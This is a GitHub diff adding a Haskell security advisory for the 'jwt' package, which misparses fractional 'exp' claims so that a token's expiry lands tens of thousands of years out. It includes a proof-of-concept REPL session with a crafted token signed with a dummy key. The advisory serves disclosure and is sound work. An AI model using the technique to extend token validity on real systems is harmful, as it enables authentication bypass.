Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
99 changes: 99 additions & 0 deletions advisories/hackage/jwt/HSEC-2026-0010.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
```toml

[advisory]
id = "HSEC-2026-0010"
cwe = [681, 613]

keywords = ["jwt", "web"]

[[affected]]
package = "jwt"
cvss = "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P/RL:W/RC:C/IR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:C/MC:N/MI:L/MA:N"

declarations."instance FromJSON NumericDate" = ">= 0.7.0 && <= 0.11.0"
declarations."instance FromJSON IntDate" = ">= 0.1.0 && < 0.7.0"

[[affected.api]]
module = "Web.JWT"
name = "decode"

[[affected.api]]
module = "Web.JWT"
name = "decodeAndVerifySignature"

[[affected.versions]]
introduced = "0.1.0"
fixed = "0.12.0"

[[references]]
type = "REPORT"
url = "https://github.com/puffnfresh/haskell-jwt/issues/4"
[[references]]
type = "FIX"
url = "https://github.com/puffnfresh/haskell-jwt/pull/10"
```

# Improper parsing of fractional `NumericDate` from JWT `exp` claims

Since its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.

PoC:

```haskell
cabal repl --build-depends jwt==0.11.0

import Web.JWT
:set -XOverloadedStrings

let signer = VerifyHMACSecret "dummy-signing-symmetric-hmac-key.not-so-secret"
let exploit = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o"
-- {
-- "sub": "1234567890",
-- "name": "Honest Joe",
-- "admin": true,
-- "iat": 1790166786,
-- "exp": 1790170386.0001
-- }
λλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit
λ
λλ ➔ whoops
Verified (JOSEHeader {typ = Just "JWT", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [("admin",Bool True),("name",String "Honest Joe")]}}) (Signature "xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o")
λ
λλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops
Just 1790166786s
λ
λλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops
Just 17901703860001s
```

The encoded claim `exp = 1790170386.0001` is:
1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*"... non-integer values can be represented."*);
2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev);
3. Decodes incorrectly as `569252-05-30T12:40:01` (== posix epoch `17901703860001`) by the `jwt` library.
```
>>> import Data.Time.Format.ISO8601
>>> import Data.Time.Clock.POSIX
>>>
>>> iso8601Show $ posixSecondsToUTCTime 1790166786
"2026-09-23T12:33:06Z"
>>>
>>> iso8601Show $ posixSecondsToUTCTime 17901703860001
"569252-05-30T12:40:01Z"
```
This happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.

Since the standard `exp` claim carries credential expiration time:

> ### [4.1.4][rfc-4.1.4]. "exp" (Expiration Time) Claim
>
> The "exp" (expiration time) claim identifies the expiration time on
> or after which the JWT MUST NOT be accepted for processing. The
> processing of the "exp" claim requires that the current date/time
> MUST be before the expiration date/time listed in the "exp" claim.

— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.

[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209
[rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2
[rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4
[scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2
Loading